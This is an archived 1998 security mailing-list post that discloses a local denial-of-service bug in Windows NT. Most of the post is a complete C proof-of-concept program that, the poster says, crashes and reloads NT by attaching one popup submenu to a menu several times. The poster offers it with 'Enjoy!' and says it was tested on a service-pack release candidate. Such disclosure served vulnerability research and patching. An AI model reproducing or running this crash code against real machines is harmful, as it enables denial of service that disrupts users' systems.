[ http://www.rootshell.com/ ]
Date: Wed, 21 Oct 1998 09:08:40 +0300
From: fill <fill@TCHERCOM.RU>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: New NT Bug
Hi!
This small program reloads NT (but not win95).
Tested with SP4 RC also.
Enjoy!
#include <windows.h>
int WINAPI WinMain(HINSTANCE hinstExe,
HINSTANCE hinstPrev, LPSTR lpszCmdLine,
int nCmdShow)
{
HMENU hMenu = CreatePopupMenu();
HMENU hMenu1 = CreatePopupMenu();
AppendMenu(hMenu1,MF_STRING, 1, "1");
AppendMenu(hMenu1,MF_STRING, 2, "2");
AppendMenu(hMenu1,MF_STRING, 3, "3");
InsertMenu(hMenu,1,MF_POPUP|MF_STRING,(UINT)hMenu1,"1");
InsertMenu(hMenu,2,MF_POPUP|MF_STRING,(UINT)hMenu1,"2");
InsertMenu(hMenu,3,MF_POPUP|MF_STRING,(UINT)hMenu1,"3");
InsertMenu(hMenu,4,MF_POPUP|MF_STRING,(UINT)hMenu1,"4");
InsertMenu(hMenu,5,MF_POPUP|MF_STRING,(UINT)hMenu1,"5");
InsertMenu(hMenu,6,MF_POPUP|MF_STRING,(UINT)hMenu1,"6");
return 0;
}
-------------------------------------------------------------------------=
-------
Ilya Filatov
CherCom Co.,
The system engineer
-------------------------------------------------------------------------=
-------
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH